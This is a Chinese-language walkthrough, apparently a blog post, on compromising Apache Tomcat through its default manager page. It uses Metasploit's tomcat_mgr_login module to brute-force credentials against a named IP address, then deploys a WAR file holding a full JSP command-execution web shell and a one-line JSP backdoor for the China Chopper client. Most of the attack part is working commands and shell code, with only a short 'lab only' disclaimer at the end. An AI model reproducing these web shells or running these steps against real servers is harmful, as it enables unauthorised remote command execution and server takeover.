Apache Tomcat 是世界上使用最廣泛的Java Web應用服務器之一,絕大數人都會使用Tomcat的默認配置。然而默認配置中會有一個向外網開放的Web應用管理器,管理員可以利用它在服務器中啟動、停止、添加和刪除應用。
本次實戰中,我將要執行下面幾個步驟:
1、Msf環境准備
2、實戰演練
3、原理剖析
4、Getshell
Msf環境准備
如果你是第一次運行msf,你需要先啟動數據庫服務並初始化(msf使用的是PostgreSQL數據庫來存儲日志和結果)
啟動PostgreSQL:
1 service postgresql start
創建並初始化數據庫:(kali 默認已經初始化數據庫)
1 msfdb init
然后就可以啟動msf了:
1 msfconsole

實戰演練
在此之前,我想先說一下,在暴力破解賬號密碼時同樣可以使用hydra和burp,不同攻擊都有不同方法,這次我僅僅談論Metasploit下的相關模塊,來進行針對性破解。
1、靶機xxx有一個Tomcat服務,默認為8080端口,瀏覽器訪問:http://219.153.49.228:40033/manager/html

2、可以看到彈出了一個認證界面,要求輸入賬號密碼,拋開實驗環境來談,我並不知道目標賬號密碼,那么現在我可以使用利器metasploit來破解賬號密碼。
3、打開終端,輸入msfconsole啟動metasploit:

4、待啟動后,我需要加載Tomcat爆破模塊,輸入以下命令:
1 use auxiliary/scanner/http/tomcat_mgr_login
5、我可以使用以下命令,查看該模塊具體需要哪些參數:
1 show options
6、現在可以設置目標IP了,輸入以下內容:
1 set RHOSTS 目標IP地址
7、為了使運行速度快一點(也不能太快),可以使用以下命令設置線程:
1 set THREADS 5
8、為了不使我的服務器因為大量的請求而崩潰,破解速度我設置低一些:
1 set BRUTEFORCE_SPEED 3
9、查看修改后的選項:
1 show option

10、其余的參數使用默認值,設置完成后,輸入run來啟動攻擊
11、經過一些失敗的結果,終於發現了有效的密碼(綠色的結果),因為我默認設置的為admin:123456,很快就成功啦!哈哈哈,但是實際情況中呢,不一定什么時候成功,多半要參與一些社工技巧,這個就自由發揮吧,當然運氣也很重要呀。

12、手動輸入密碼進行驗證,登錄成功!接下來,該嘗試War包部署,並且Getshell了,繼續往下看吧。
原理剖析
默認情況下,Tomcat服務會開啟在8080端口,管理界面目錄在/manager/html,該應用使用的是基礎的HTTP認證。
下面對剛剛使用的Tomcat_mgr_login模塊進行詳解:
1**BALNK_PASSWORDS**:為每個賬號提供一個空密碼測試
2**PASSWORD**:設置這個可以只針對該密碼進行多用戶測試
3**PASS_FILE**:輸入你想要使用的密碼字典路徑
4**Proxies**:為了避免被檢測到源地址,可以使用代理功能
5**RHOSTS**:填寫要被測試的主機地址(可以是多個,以空格分隔。也可以是一個清單文件)
6**RPORT**:設置目標Tomcat運行的端口
7**STOP_ON_SUCCESS**:當破解成功后停止攻擊
8**TARGERURI**:可設置管理界面的目錄路徑
9**USERNAME**:設置要測試的用戶名字(可以是單個,也可以是一個字典)10**USER_PASS_FILE**:使用 "用戶名/密碼" 格式的字典文件11**USER_AS_PASS**:嘗試使用測試中的用戶名作為密碼
GetShell
一旦我們成功將進入Tomcat管理界面,就能看到並操作安裝在上面的應用。此外我們還可以上傳自己的應用,既然這樣我們就構造一個能在目標服務器執行命令的WebShell來獲取目標服務器權限。
已經成功進入 Tomcat web應用程序管理界面了,下面讓我開始部署War包,來Getshell吧。
1、首先創建一個名為mt.jsp的文件,並寫入以下內容:
1<%@ page import="java.util.*,java.io.*"%>
2<%
3//
4// JSP_KIT
5//
6// cmd.jsp = Command Execution (unix)
7//
8// by: Unknown
9// modified: 27/06/200310//
11%>
12<HTML><BODY>
13<FORM METHOD="GET" NAME="myform" ACTION="">
14<INPUT TYPE="text" NAME="cmd">
15<INPUT TYPE="submit" VALUE="Send">
16</FORM>
17<pre>
18<%
19if (request.getParameter("cmd") != null) {
20 out.println("Command: " + request.getParameter("cmd") + "<BR>");
21 Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
22 OutputStream os = p.getOutputStream();
23 InputStream in = p.getInputStream();
24 DataInputStream dis = new DataInputStream(in);
25 String disr = dis.readLine();
26 while ( disr != null ) {
27 out.println(disr);
28 disr = dis.readLine();
29 }
30 }
31%>
32</pre>
33</BODY></HTML>
2、寫入完成,開始將該文件壓縮為zip文件,名字隨便起,我用的是mt.zip,然后我要將,.zip后綴名改為.war。
3、此時,我war也配置完成啦,進一步就是把它上傳到服務器上了,通過上面看到的Tomcat web應用程序管理里面下的 WAR file to deploy,這時,操作比較簡單。
4、下面,我選擇剛才更改后綴名為war的那個文件,點擊部署,如圖:
選擇文件-->上傳文件-->顯示OK-->上傳成功

5、此時,狀態碼顯示為OK,即為部署成功。
6、這個時候,我需要訪問這個文件,以我的示例來說,我要訪問的路徑為http://219.153.49.228:45588/mt/mt.jsp,這個相對路徑,即使你部署war的路徑,index.jsp是我最開始編寫代碼的文件,這是都可以根據你自己來更改,自己知道就好啦,最后顯示如下圖:
7、在執行ip a命令時,如果使用的是火狐瀏覽器,只需將編碼設置為簡體中文即可,如圖:
網上有很多JSP木馬,包括一起功能齊全的大馬,自己可以去找一下,來過過癮,下面是通過菜刀連接一句話木馬。
菜刀連接一句話木馬
1、同上,編寫一個jsp腳本,這次名為mt.jsp,內容寫入:
<%Runtime.getRuntime().exec(request.getParameter("mt"));%>
2、同樣是壓縮為zip文件,並且后綴改為.war,不多贅述,直接上傳,這次我上傳后的路徑為:http://219.153.49.228:45588/mt/mt.jsp www.gendan5.com
3、使用中國菜刀連接,密碼為mt,連接成功。
最后,本次實驗僅是僅供實驗,切勿用於實戰,否則后果自負!
